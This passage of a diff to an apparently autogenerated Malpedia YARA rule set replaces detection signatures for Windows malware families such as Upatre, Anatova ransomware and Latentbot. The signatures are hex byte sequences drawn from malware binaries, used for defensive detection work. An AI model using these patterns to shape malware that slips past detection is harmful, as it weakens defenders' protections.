"0ee975510b7aa8f6c88f59ccf7386a44e723fcc4879e58b69b100521065bb285" score = 75 quality = 75 tags = "FILE" @@ -97144,32 +97366,32 @@ rule MALPEDIA_Win_Tropidoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b8d88010000 488b01 ff5010 488b8d80010000 e9???????? 6644897508 897510 } - $sequence_1 = { ff15???????? 0fb74c2420 b8b2070000 663bc8 731a ba01000000 } - $sequence_2 = { 488d9520020000 498bcf e8???????? 4d8b8598000000 4d85c0 0f84a2000000 ba04010000 } - $sequence_3 = { ffd0 85c0 7564 8b459c 83c0fe 413bc5 7725 } - $sequence_4 = { 488bcb ff15???????? 418bc4 4883c470 415e 415c 5f } - $sequence_5 = { ff15???????? e9???????? 8b542478 4c8d8510050000 c744243002000000 488d8db0000000 897c2428 } - $sequence_6 = { 33d2 41b801010000 e8???????? 418bc6 4d8d4c2410 4c8d1d75920300 41be04000000 } - $sequence_7 = { 83ff01 0f85d2000000 84c0 740a 458b949b3cb90a00 eb08 458b949b04b90a00 } - $sequence_8 = { 8b8c8220060200 4803ca ffe1 488b4c2430 418bc4 488b0cc1 48894c2458 } - $sequence_9 = { 4c8d4d40 4c8d052b630900 488d4db0 e8???????? 48897de0 488d45d0 4983fd10 } + $sequence_0 = { e9???????? 488d5640 4c89e1 44896c2458 4c897c2460 e8???????? 89c3 } + $sequence_1 = { 6644894114 488b4918 41c7422407000000 80796700 75b3 80796800 75ad } + $sequence_2 = { c744246cffffffff 488b01 4885c0 7464 4c8d44246c ba0a000000 ff5050 } + $sequence_3 = { e8???????? 89c7 85c0 0f8504f9ffff 8b4334 c7436801000000 4429e0 } + $sequence_4 = { e8???????? 89c3 85c0 0f84fc000000 31db 662e0f1f840000000000 4c89e2 } + $sequence_5 = { 7371 418b4120 85c0 755f 4881faffffff3f 7768 4883ec38 } + $sequence_6 = { c6431770 488d15d8461100 480f44fa 4d85e4 b8011a0000 48896b08 488d15d040fbff } + $sequence_7 = { e8???????? 4d85ff 7475 440fb74760 410fbf4e36 4139c8 7c66 } + $sequence_8 = { f77134 8d5001 4439fa 0f84b0010000 4531c9 4c8d442448 4489fa } + $sequence_9 = { e8???????? 4829c4 488b4548 4885c9 742d 4989ca 4883796800 } condition: - 7 of them and filesize < 1826816 + 7 of them and filesize < 27009024 } -rule MALPEDIA_Win_Saigon_Auto : FILE +rule MALPEDIA_Win_Upatre_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d4227170-8c19-5a53-bfab-480d4b1c0eee" + id = "040bdafc-33da-58ba-b810-486451f4b678" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.saigon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.saigon_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.upatre" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.upatre_auto.yar#L1-L173" license_url = "N/A" - logic_hash = "ca28ac861d15b6053acaf9126995909d99adf4b549ed8bfb0a57ebb9988cee44" + logic_hash = "3a267d65c074b009b5eb1fad7789aa126fe3aa82fa66dade27c6fa55c83ed7ca" score = 75 quality = 75 tags = "FILE" @@ -97183,32 +97405,38 @@ rule MALPEDIA_Win_Saigon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 85c0 0f85f4000000 488b0d???????? 33d2 41b800100000 } - $sequence_1 = { 33db 488bf2 4533c9 448d4303 } - $sequence_2 = { 418bd5 89542440 4533c9 4533c0 488bc8 895c2420 } - $sequence_3 = { 0f859d000000 488bcb ff15???????? 488b0d???????? 33d2 448d440034 ff15???????? } - $sequence_4 = { 488d842470020000 4c8d842440050000 488d942490030000 488d8c24c0000000 448bcb 895c2428 } - $sequence_5 = { e8???????? 488d8f88000000 ff15???????? f08387b000000001 488d8f88000000 ff15???????? 440fb65f66 } - $sequence_6 = { 0f8592000000 f60302 0f8589000000 448b6b08 } - $sequence_7 = { 4533c9 488bd0 498bce e8???????? 488b0d???????? 33d2 } - $sequence_8 = { 4885c9 740c 33d2 e8???????? 4c8be0 eb03 4533e4 } - $sequence_9 = { ff5038 85c0 781c 488b4c2430 4533c0 } + $sequence_0 = { b02f 66ab 8b45a8 ff5504 33c9 8ac8 ff5508 } + $sequence_1 = { b400 66ab b02f 66ab ff7590 33c0 } + $sequence_2 = { 81c60e010000 ac 3c01 740c b053 66ab } + $sequence_3 = { 6a00 8d4dc0 51 ff75e0 ff75bc ff75ec } + $sequence_4 = { 58 6a00 8d4de0 51 50 } + $sequence_5 = { 33c0 b404 57 03f8 8bf7 } + $sequence_6 = { b404 895d98 8bfb 03d8 b91c010000 } + $sequence_7 = { 33c0 66ab bbff0f0000 8b75f0 56 53 } + $sequence_8 = { 68d770a437 8b4dd4 51 e8???????? 8945e8 } + $sequence_9 = { 83c404 0fb7c0 3b4510 7411 8b4de0 51 } + $sequence_10 = { 83c410 eb58 8b4df4 8b510c 52 e8???????? } + $sequence_11 = { 1f c011a0 6b20bd 80978041a0e3b2 34c0 8fc0 81205b606d00 } + $sequence_12 = { 83c108 894dfc 8b55fc 8b02 50 e8???????? } + $sequence_13 = { 0fb745f8 0fb74df4 99 f7f9 } + $sequence_14 = { 0f8416010000 8b55f4 8b420c 50 e8???????? } + $sequence_15 = { 7529 8b4df4 8b5110 81c200100000 8955f0 8d45f0 } condition: - 7 of them and filesize < 147456 + 7 of them and filesize < 294912 } -rule MALPEDIA_Win_Downex_Auto : FILE +rule MALPEDIA_Win_Zerot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "780df1d0-772a-58a4-934d-63bed6bd9744" + id = "3b855400-35e2-5ab9-8ab4-5b0c449639bd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.downex" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.downex_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zerot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zerot_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "2787ed485caccd79e05aaa2383aa816bb0e34ab86d11b61c935876204e99082a" + logic_hash = "c6f6a84594f6a63be175c01b94d4ac1a205809bd4a3810282ffee82abc5e767b" score = 75 quality = 75 tags = "FILE" @@ -97222,32 +97450,32 @@ rule MALPEDIA_Win_Downex_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0fb6443b47 4b 2bf0 8d0440 8d0c82 8b84b7ec000000 8901 } - $sequence_1 = { ffb0d8f24700 e8???????? 83c40c 85c0 7419 46 8d0476 } - $sequence_2 = { e8???????? 8d8d58fdffff e8???????? 8b4da4 83c148 8d4601 50 } - $sequence_3 = { 297e04 83c40c 013e 017e08 8b4e04 83560c00 017e10 } - $sequence_4 = { eb2c b9???????? eb25 b9???????? eb1e 3ddec0c5b0 7412 } - $sequence_5 = { 7214 83c123 8b50fc 2bc2 83c0fc 83f81f 0f87d3030000 } - $sequence_6 = { ff7508 e8???????? 83c414 33d2 85c0 b900100000 0f44d1 } - $sequence_7 = { 85c0 0f85a0050000 f6872802010010 0f8407010000 8b8eb4000000 8bd1 68b5070000 } - $sequence_8 = { 50 e8???????? 68???????? 6aff ffb5f0feffff e8???????? 8bb5f8feffff } - $sequence_9 = { e8???????? 83c410 eb1f 81e7ffffdfff f7c200002000 7411 8d45e4 } + $sequence_0 = { e8???????? 83c404 33f6 eb13 6800006000 e8???????? } + $sequence_1 = { 6a00 6a00 ff15???????? a3???????? ff15???????? 3db7000000 7527 } + $sequence_2 = { 8b4608 c706???????? 85c0 740a 50 } + $sequence_3 = { 83c408 e9???????? 8b8d34fdffff bf???????? 83f904 } + $sequence_4 = { ff7610 6a01 ff760c ff15???????? } + $sequence_5 = { 6a00 6820020000 6a20 6a02 8d854cfeffff 66c78550feffff0005 50 } + $sequence_6 = { 7409 50 e8???????? 83c404 33ff c7850cfaffff00000000 32db } + $sequence_7 = { 6800020000 8d8510fdffff 6a00 50 e8???????? } + $sequence_8 = { 8d8524fdffff 50 8d4376 50 6a02 ffd6 8d851cfdffff } + $sequence_9 = { ff15???????? 8bc3 be19000000 43 } condition: - 7 of them and filesize < 1067008 + 7 of them and filesize < 303104 } -rule MALPEDIA_Win_Unidentified_112_Auto : FILE +rule MALPEDIA_Win_Webc2_Table_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "088f625c-ef85-5039-b4a6-57af0a7b0b6b" + id = "74911130-496c-59cd-b9b7-d073dda2a5a6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_112" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_112_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_table" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_table_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "fc462a31ea1db66fb5cf9697b2cccafd272c6a5cfa6825d7930166b5fbdba921" + logic_hash = "82557b5976335e4f1972b3218d4e36ee8e0264f2a148ef98566fdf5b62d6108c" score = 75 quality = 75 tags = "FILE" @@ -97261,34 +97489,34 @@ rule MALPEDIA_Win_Unidentified_112_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 53 4883ec38 488daa80000000 48817d70ff7f0000 762e c6858f00000000 c6858e00000000 } - $sequence_1 = { e8???????? 84c0 0f8496000000 b12c e8???????? 84c0 0f8487000000 } - $sequence_2 = { 498d4850 498b5040 4d8b4048 ff5010 4883bde001000000 7525 488b85d8020000 } - $sequence_3 = { e8???????? 498b4e50 ba50000000 41b808000000 e8???????? 488b45f0 49894650 } - $sequence_4 = { c1ea13 448d0c12 478d0c89 4429c8 0c30 8841ff 48ffc9 } - $sequence_5 = { e8???????? 84c0 0f841bf5ffff 488b05???????? 488b08 488b4138 4885c0 } - $sequence_6 = { 56 57 53 4883ec28 488daa80000000 488b8d48100000 488bb550100000 } - $sequence_7 = { c685de01000000 488d8d50010000 e8???????? eb71 488b8550010000 488b8d58010000 488b9560010000 } - $sequence_8 = { ba22000000 e8???????? e9???????? c685e305000001 488d0d4bd01500 4c8d053cd31500 ba22000000 } - $sequence_9 = { eb56 31f6 4989dd bf03000000 eb4a 0fb7ca 25ff030000 } + $sequence_0 = { ff15???????? b800100000 6a04 50 } + $sequence_1 = { 41 4e 75b7 8b45f8 be???????? 57 56 } + $sequence_2 = { e8???????? 85c0 59 7e1b 8b4c2404 } + $sequence_3 = { 0f8fdb000000 6860ea0000 ffd7 ff45f4 } + $sequence_4 = { c78548fdffff94000000 8d85e8feffff 50 8d85dcfbffff 50 e8???????? 59 } + $sequence_5 = { e8???????? 8b35???????? 8d8558ffffff 50 ff7508 ffd6 8bf8 } + $sequence_6 = { 50 8d85e4feffff 50 e8???????? 83c428 } + $sequence_7 = { 8bca 8dbd59ffffff f3ab 66ab aa 8bca 33c0 } + $sequence_8 = { ff15???????? ff7710 ff15???????? 83c410 50 ff15???????? } + $sequence_9 = { e8???????? 83c434 8d8548fdffff c78548fdffff9c000000 50 } condition: - 7 of them and filesize < 7317504 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Colony_Auto : FILE +rule MALPEDIA_Win_Roopy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6de8851a-b1ef-561a-a63a-12519dea8778" + id = "8be7b2c4-b174-500b-b0ea-f2839cb0b383" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.colony" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.colony_auto.yar#L1-L230" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roopy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.roopy_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "2b20de5492a48cc7fc726969d55d094c8002372f30c4bd6a4f1592aca3fb7fc0" + logic_hash = "e98d1af71e72ca48289280b30ed691a17624b5a4815404358ace55f7593ba961" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -97300,46 +97528,32 @@ rule MALPEDIA_Win_Colony_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 740f 0301 eb0b a801 } - $sequence_1 = { 32c0 8be5 5d c3 807d0800 56 57 } - $sequence_2 = { 8b4224 2b4220 660f6ec0 f30fe6c0 } - $sequence_3 = { 8b421c 2b4218 660f6ec0 f30fe6c0 } - $sequence_4 = { 8a4203 8841fe 8a4202 8841ff 8b02 c1e808 8801 } - $sequence_5 = { 334f14 8b45f4 894dfc 8bca c1e910 81e1ff000000 c1e808 } - $sequence_6 = { 69d200008f04 2bc8 c1e910 69c161a4f778 2bd0 } - $sequence_7 = { 7407 b901000000 eb0a 33c9 803f01 0f95c1 33c0 } - $sequence_8 = { 0fbed9 83eb30 eb13 8ac1 } - $sequence_9 = { 0f85bd000000 807dda01 751f 66a1???????? } - $sequence_10 = { 0f85bc000000 f30f7e05???????? 660fd606 a0???????? } - $sequence_11 = { 0f855b010000 8d7830 c7403c00000000 8d4838 eb0d 8d7824 } - $sequence_12 = { 8b00 83f801 7e5c f7420400080000 } - $sequence_13 = { 0f8fc9010000 0f84ad010000 3d09280000 0f8ff1000000 } - $sequence_14 = { 8b4214 2b4210 660f6ec0 f30fe6c0 } - $sequence_15 = { 0101 0101 0202 0202 0200 0102 0202 } - $sequence_16 = { 483305???????? 488bcb 488905???????? ff15???????? 488d15a9980000 } - $sequence_17 = { e9???????? 4c8d357e0c0100 488b0d???????? eb7b 4c8d35660c0100 } - $sequence_18 = { 48393d???????? 448bf0 0f85f8000000 488d0d687b0000 33d2 41b800080000 } - $sequence_19 = { e8???????? 488d15a3a50000 488d0d94a50000 e8???????? } - $sequence_20 = { 488bd7 488bcf 48c1f905 83e21f 4c8d05f8c70000 498b0cc8 486bd258 } - $sequence_21 = { 7519 4c8d05f3900000 8bd7 498bce } - $sequence_22 = { b91e000000 e8???????? b9ff000000 e8???????? 4803db 4c8d3590fc0000 } - $sequence_23 = { 488bc8 ff15???????? 488d15147b0000 488bcb 488905???????? } + $sequence_0 = { 8d45c0 30c9 ba38000000 e8???????? c745c0504b0606 8d45a8 } + $sequence_1 = { 8b45f8 c7401400000000 8b45f8 e8???????? c745f401000000 } + $sequence_2 = { 6631d2 8d85d8feffff e8???????? 8d45dc 30c9 6631d2 } + $sequence_3 = { 8b09 ff5164 8345f401 8b45f8 8b4004 e8???????? } + $sequence_4 = { c78580fdffff00000000 c78584fdffff00000000 c7858cfeffff00000000 31c0 } + $sequence_5 = { 6631c9 ba03010000 e8???????? 8b85b8feffff ba???????? } + $sequence_6 = { c7406000000000 8b45f4 c7406400000000 8b45f4 83785c00 770b 7210 } + $sequence_7 = { 30c9 6631d2 e8???????? 0fb745fc 68ff000000 8d8dd8feffff baffffffff } + $sequence_8 = { d805???????? d80d???????? 895df0 897df4 0fba65f41f df6df0 7306 } + $sequence_9 = { 8b52fc 29c2 8d4a01 8d5001 8b45fc e8???????? 89d8 } condition: - 7 of them and filesize < 7599104 + 7 of them and filesize < 739328 } -rule MALPEDIA_Win_Tiny_Turla_Auto : FILE +rule MALPEDIA_Win_Anatova_Ransom_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "461da2a0-bc71-5807-a972-eaee61f0fc07" + id = "c0fa9d6b-6c59-5a94-9c37-0c291299bb78" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiny_turla" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tiny_turla_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anatova_ransom" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.anatova_ransom_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "3923b1794e00bdddc4d622e58d3337c930d14bfa9ca9a2022fc0085649294c88" + logic_hash = "08ba2b5584d7af06c3ea6ab9e9a7449efbced637b501a285d62a4734bce8c105" score = 75 quality = 75 tags = "FILE" @@ -97353,32 +97567,32 @@ rule MALPEDIA_Win_Tiny_Turla_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c705????????04000000 488bc8 ff15???????? 85c0 742c 488bcb } - $sequence_1 = { 85c0 742c 488bcb e8???????? 488b0d???????? } - $sequence_2 = { 4883ec20 488b1a 488d15e0ffffff 488bcb } - $sequence_3 = { c705????????01000000 4883c420 5b 48ff25???????? } - $sequence_4 = { 4883ec20 488b1a 488d15e0ffffff 488bcb ff15???????? 488905???????? 4885c0 } - $sequence_5 = { 488bcb ff15???????? 488905???????? 4885c0 744a } - $sequence_6 = { c705????????01000000 4883c420 5b 48ff25???????? 4883c420 } - $sequence_7 = { 488d15e0ffffff 488bcb ff15???????? 488905???????? 4885c0 } - $sequence_8 = { ff15???????? 85c0 742c 488bcb e8???????? 488b0d???????? } - $sequence_9 = { ff15???????? 85c0 742c 488bcb e8???????? } + $sequence_0 = { 4c89da 4c8b1d???????? 41ffd3 488b45d8 4989c3 } + $sequence_1 = { 4989c2 4c89d1 4c89da e8???????? 488b05???????? 4881c000020000 8b0d???????? } + $sequence_2 = { 0f8405000000 e9???????? 48b80000100000000000 e9???????? 488b45e8 48b90000000000000000 48894c2420 } + $sequence_3 = { 488985c0feffff 488b85c0feffff b938020000 8908 488b85c0feffff 4989c3 } + $sequence_4 = { e8???????? 0fb645ff 83f800 0f846f020000 } + $sequence_5 = { 8845fe 0fb645fe 83f800 0f840d010000 } + $sequence_6 = { 488b4d10 4801c1 8b45fc 4863c0 } + $sequence_7 = { 488b05???????? 4883f800 0f848f010000 488b05???????? 4883f800 0f847e010000 488b05???????? } + $sequence_8 = { b800000000 898574ffffff 8b8574ffffff 83f810 0f8dd3000000 } + $sequence_9 = { 48b80f00000000000000 4989c0 b800000000 4989c3 488d45b1 4989c2 4c89d1 } condition: - 7 of them and filesize < 217088 + 7 of them and filesize < 671744 } -rule MALPEDIA_Win_Bleachgap_Auto : FILE +rule MALPEDIA_Win_Daolpu_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "273003cf-3dbb-5afb-a5ea-bb6d27dae595" + id = "3b0894e5-1a8e-5546-8c9e-1b741fdf5950" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bleachgap" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bleachgap_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.daolpu" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.daolpu_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "e20e0cd9d2a699ef9480dfe92d72685e3d909ce98e8e306df6822787c7e8d012" + logic_hash = "8005f7b5dce3eec7097b3ee19274ed96f4a8267ee8f070756b8e93cef441b9c0" score = 75 quality = 75 tags = "FILE" @@ -97392,71 +97606,71 @@ rule MALPEDIA_Win_Bleachgap_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4110 89500c 8b4110 894210 8b442410 895110 894a0c } - $sequence_1 = { 8d8d80fdffff e8???????? 8d8d48feffff e8???????? 8ac3 8b4df4 64890d00000000 } - $sequence_2 = { c78514fdffff00000000 c78524fdffff00000000 c78528fdffff00000000 0f1000 0f118514fdffff f30f7e4010 660fd68524fdffff } - $sequence_3 = { 83f81f 0f8783010000 51 52 e8???????? 83c408 8b8d5cffffff } - $sequence_4 = { 52 e8???????? 83c408 8a85bffeffff eb61 8b55bc 83ff10 } - $sequence_5 = { 83c404 83ee01 7839 0f1f00 56 57 e8???????? } - $sequence_6 = { 6859040000 68???????? 68db000000 e9???????? 55 e8???????? 83c404 } - $sequence_7 = { 46 8ac8 84c0 75dc 84c0 0f845b020000 e9???????? } - $sequence_8 = { 8b542424 8b4c2440 89450c 03ca 8b44243c 894d10 8b04b8 } - $sequence_9 = { 8945d0 8d4344 8945d4 8d434c 8945d8 8d4354 8945dc } + $sequence_0 = { 7506 4883c460 5b c3 a804 7409 488d1dbe721100 } + $sequence_1 = { 7439 488b442470 488b8080000000 4883c008 4889442438 488b442470 488b4c2438 } + $sequence_2 = { 498bf8 488bf2 488bd9 0f85bc000000 80b9ae0a000000 0f85af000000 41b80f000000 } + $sequence_3 = { 48ffca 4d85f6 75ec e9???????? 83f840 0f85d0000000 4d8b7610 } + $sequence_4 = { 897c2428 448be2 44896c2424 8944242c 3801 0f8411050000 0f1f840000000000 } + $sequence_5 = { e8???????? 8b442428 c1f806 4898 488d0da3a10600 8b542428 83e23f } + $sequence_6 = { 498b4c2448 ff15???????? 0f104500 488bcd 410f110424 0f104d10 410f114c2410 } + $sequence_7 = { 66ffc3 66413bdf 0f864fffffff 488d15adc40a00 498bce e8???????? e9???????? } + $sequence_8 = { 7501 cc 48c744242000000000 41b951050000 4c8d05cd131200 488d158e141200 488d0dff151200 } + $sequence_9 = { e8???????? 0f57c0 f30f7f4558 4c896568 488b4d50 4c896550 ba10000000 } condition: - 7 of them and filesize < 4538368 + 7 of them and filesize < 2877440 } -rule MALPEDIA_Win_Feodo_Auto : FILE +rule MALPEDIA_Win_Cerbu_Miner_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "294edd8e-79e5-57c8-8d21-3a46810574e0" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.feodo" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.feodo_auto.yar#L1-L118" + id = "77652d6a-745f-5552-8901-83bf555706f4" + date = "2023-12-06" + modified = "2023-12-08" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cerbu_miner" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cerbu_miner_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "7ae2a34a3e8eb5aa6b8cbee0b549d59082912ee3877b6eb0ff9194b700931591" + logic_hash = "e4927a587588bc11053fcbade5bb9500364c9a656d383eb318cc8486464f3cce" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20231130" + malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351" + malpedia_version = "20230808" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 747b 6a00 6800000008 } - $sequence_1 = { 85d2 740a 03ca 397144 75f3 8b7904 } - $sequence_2 = { 6a00 6a03 57 8d442424 50 ff15???????? } - $sequence_3 = { ff15???????? 85c0 743d 8d4c2404 } - $sequence_4 = { 56 6808020000 8d442444 50 } - $sequence_5 = { 83ec0c 56 57 33ff 57 6a02 6a02 } - $sequence_6 = { 8bf0 85f6 75e0 6a00 57 } - $sequence_7 = { 56 57 ff15???????? 8bf0 85f6 75e0 6a00 } - $sequence_8 = { 6a20 8d542404 52 ff15???????? 8d0424 50 } - $sequence_9 = { 743d 8d4c2404 51 8d542424 52 } + $sequence_0 = { 88b42480000000 eb3f 83e902 7433 83e904 7413 83e909 } + $sequence_1 = { 7412 48 8d0d0b360500 48 83c428 48 ff25???????? } + $sequence_2 = { 8d4601 c643012e 48 63c8 41 8d4602 48 } + $sequence_3 = { 85d2 7427 85c9 b800040000 41 b800080000 44 } + $sequence_4 = { f6473801 7402 eb18 48 8bcf ff15???????? f6473801 } + $sequence_5 = { e9???????? 45 8bfd 44 89ad50010000 e9???????? 44 } + $sequence_6 = { 48 89442420 e8???????? 48 8bd7 48 8bcb } + $sequence_7 = { 89b42418010000 8b74242c 83feff 7515 837f0c00 7c0f 48 } + $sequence_8 = { 8d057b52f9ff 48 894518 c745b0e6070000 48 c745c000000200 48 } + $sequence_9 = { 44 2bc0 44 8903 33c0 48 8b5c2438 } condition: - 7 of them and filesize < 270336 + 7 of them and filesize < 1040384 } -rule MALPEDIA_Win_Unidentified_107_Auto : FILE +rule MALPEDIA_Win_Latentbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "63234ec8-e935-5a5a-a7c8-23180ee85d34" + id = "d1503e41-08e6-5adf-a875-66636893fe66" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_107" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_107_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.latentbot_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "8867f317de2ddfffcab36cc6ed6aa7b70e1fee92a8d78957e157f26440f20f17" + logic_hash = "c8242f2d9f053ebc06f18c04d8c5d76f7cd68171deb734a7f00fb470d56dc52c" score = 75 quality = 75 tags = "FILE" @@ -97470,32 +97684,32 @@ rule MALPEDIA_Win_Unidentified_107_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7582 4989d8 31d2 4c89e9 e8???????? 4989d8 } - $sequence_1 = { 0f1f00 8b0b ffd7 4989c4 } - $sequence_2 = { 4989c7 48c7c13b43f72a e8???????? 4883c464 488b4c2408 488b542410 4c8b442418 } - $sequence_3 = { 4883f807 7e96 8b13 4883f80b 0f8f33010000 8b03 85c0 } - $sequence_4 = { 4989cc 85db 0f8e16010000 488b05???????? 4531c9 4883c018 } - $sequence_5 = { 48b9ca0e99c700000000 e8???????? 4989c7 48b9ca0e99c700000000 e8???????? } - $sequence_6 = { 8b5208 4901d0 4d39c4 0f828a000000 4183c101 4883c028 4139d9 } - $sequence_7 = { e8???????? 8b05???????? 85c0 0f8e57ffffff 83e801 488b1d???????? 31ff } - $sequence_8 = { 85db 0f8e16010000 488b05???????? 4531c9 4883c018 0f1f840000000000 } - $sequence_9 = { 8b560c 41b830000000 488d0c10 488b05???????? } + $sequence_0 = { 5f c3 55 8bec 8b4604 81ecdc020000 85c0 } + $sequence_1 = { 7505 be04000000 56 6800300000 8d44241c 50 6a00 } + $sequence_2 = { 8d4c2410 51 6aff ffd2 33c0 8703 } + $sequence_3 = { 8bc3 e8???????? 299ff42a0000 015e0c 295e10 015e14 8b87f42a0000 } + $sequence_4 = { ff5554 395d70 0f8689000000 833d????????06 752c 833d????????03 7434 } + $sequence_5 = { 83ec08 3bc2 7769 8d4c2404 51 8d542404 } + $sequence_6 = { 50 e8???????? 0145f8 837df805 8945e8 72e7 } + $sequence_7 = { 7814 8d5002 85d2 7406 8d440802 eb02 } + $sequence_8 = { 8b413c 53 03c1 0fb74814 56 0fb77006 33db } + $sequence_9 = { 66890477 46 3bf3 72ea 33c0 66890477 } condition: - 7 of them and filesize < 254976 + 7 of them and filesize < 401408 } -rule MALPEDIA_Win_Naplistener_Auto : FILE +rule MALPEDIA_Win_Logtu_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a3d7d9df-de3a-516e-b81c-c3cfa9ffc96f" + id = "f949c271-e440-5637-a6d2-753c8d4bcb2d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.naplistener_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.logtu" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.logtu_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "2510a61e053aa5f210d742699c248976270de6ea89c8a2ddd06d921dbbb47612" + logic_hash = "2b9e09a38ca4475522d0fb0fcb3945e7a2b5d830b8dfe7602d8b21ba629f63c3" score = 75 quality = 75 tags = "FILE" @@ -97509,34 +97723,34 @@ rule MALPEDIA_Win_Naplistener_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 18 8d01000001 1316 1116 16 110a } - $sequence_1 = { 38bbfdffff 1314 00 